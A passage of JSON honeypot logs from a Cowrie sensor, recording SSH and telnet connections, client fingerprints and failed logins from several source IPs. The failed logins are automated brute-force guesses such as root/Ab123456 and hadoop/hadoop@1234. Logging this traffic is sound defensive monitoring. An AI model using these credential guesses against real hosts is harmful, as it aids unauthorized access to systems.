sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:39.382687Z","src_ip":"176.65.139.103","session":"e38cb66dc259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:39.795442Z","src_ip":"176.65.139.103","session":"e38cb66dc259","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:40.973030Z","src_ip":"176.65.139.103","session":"e38cb66dc259","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.64.105.230","src_port":58774,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a4bfbbc1449","protocol":"telnet","message":"New connection: 20.64.105.230:58774 (159.203.135.109:23) [session: 4a4bfbbc1449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:41.926082Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":56708,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b5857edee41","protocol":"ssh","message":"New connection: 176.65.139.103:56708 (10.17.0.5:22) [session: 3b5857edee41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:45.651201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:45.678783Z","src_ip":"176.65.139.103","session":"3b5857edee41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:45.867136Z","src_ip":"176.65.139.103","session":"3b5857edee41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop@1234","message":"login attempt [hadoop/hadoop@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:46.176146Z","src_ip":"176.65.139.103","session":"3b5857edee41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.508427619934082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:47.081794Z","src_ip":"161.97.124.15","session":"b3b0e5c9898e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:47.260709Z","src_ip":"176.65.139.103","session":"3b5857edee41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.291131258010864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:48.084511Z","src_ip":"161.97.124.15","session":"7748e4368ff7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51946,"dst_ip":"159.203.135.109","dst_port":22,"session":"a456c0d67a2b","protocol":"ssh","message":"New connection: 159.203.92.129:51946 (159.203.135.109:22) [session: a456c0d67a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:50.603572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:50.608308Z","src_ip":"159.203.92.129","session":"a456c0d67a2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:50.613034Z","src_ip":"159.203.92.129","session":"a456c0d67a2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123","message":"login attempt [ansible/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:50.626017Z","src_ip":"159.203.92.129","session":"a456c0d67a2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:51.631404Z","src_ip":"159.203.92.129","session":"a456c0d67a2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.043083906173706,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:51.969044Z","src_ip":"20.64.105.230","session":"4a4bfbbc1449","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.64.105.230","src_port":43704,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdc6bdc6b476","protocol":"telnet","message":"New connection: 20.64.105.230:43704 (159.203.135.109:23) [session: cdc6bdc6b476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:52.018269Z"}
{"eventid":"cowrie.session.closed","duration":0.05799055099487305,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:52.076137Z","src_ip":"20.64.105.230","session":"cdc6bdc6b476","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48253893852234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:52.089047Z","src_ip":"161.97.124.15","session":"cb00f9dd6ad9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":56718,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dad392c322a","protocol":"ssh","message":"New connection: 176.65.139.103:56718 (10.17.0.5:22) [session: 4dad392c322a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:52.294136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:52.298134Z","src_ip":"176.65.139.103","session":"4dad392c322a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:52.385272Z","src_ip":"176.65.139.103","session":"4dad392c322a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:52.629903Z","src_ip":"176.65.139.103","session":"4dad392c322a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:53.718916Z","src_ip":"176.65.139.103","session":"4dad392c322a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":41488,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f0c62024607","protocol":"ssh","message":"New connection: 103.176.20.115:41488 (10.17.0.5:22) [session: 5f0c62024607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:57.802208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:57.806804Z","src_ip":"103.176.20.115","session":"5f0c62024607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:58.058414Z","src_ip":"103.176.20.115","session":"5f0c62024607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40348,"dst_ip":"10.17.0.5","dst_port":22,"session":"292181cde1a3","protocol":"ssh","message":"New connection: 176.65.139.103:40348 (10.17.0.5:22) [session: 292181cde1a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:58.614305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:58.618714Z","src_ip":"176.65.139.103","session":"292181cde1a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:58.700438Z","src_ip":"176.65.139.103","session":"292181cde1a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:58.947128Z","src_ip":"176.65.139.103","session":"292181cde1a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin1234","message":"login attempt [user/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:59.082708Z","src_ip":"103.176.20.115","session":"5f0c62024607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.033690929412842,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:57:59.144338Z","src_ip":"161.97.124.15","session":"3f725a6134ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:00.100373Z","src_ip":"176.65.139.103","session":"292181cde1a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:00.334052Z","src_ip":"103.176.20.115","session":"5f0c62024607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34992,"dst_ip":"10.17.0.5","dst_port":22,"session":"aff5256741b1","protocol":"ssh","message":"New connection: 176.65.139.103:34992 (10.17.0.5:22) [session: aff5256741b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:04.934980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:04.939862Z","src_ip":"176.65.139.103","session":"aff5256741b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:05.152657Z","src_ip":"176.65.139.103","session":"aff5256741b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:05.545032Z","src_ip":"176.65.139.103","session":"aff5256741b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:06.629059Z","src_ip":"176.65.139.103","session":"aff5256741b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35028,"dst_ip":"10.17.0.5","dst_port":22,"session":"67e7248e3fa1","protocol":"ssh","message":"New connection: 176.65.139.103:35028 (10.17.0.5:22) [session: 67e7248e3fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:11.543571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:11.548569Z","src_ip":"176.65.139.103","session":"67e7248e3fa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:11.635134Z","src_ip":"176.65.139.103","session":"67e7248e3fa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:11.944520Z","src_ip":"176.65.139.103","session":"67e7248e3fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:13.029011Z","src_ip":"176.65.139.103","session":"67e7248e3fa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":36902,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b74719b9d1d","protocol":"telnet","message":"New connection: 161.97.124.15:36902 (159.203.135.109:23) [session: 4b74719b9d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:16.419986Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45570,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c37c23adc7d","protocol":"ssh","message":"New connection: 176.65.139.103:45570 (10.17.0.5:22) [session: 0c37c23adc7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:17.774931Z"}
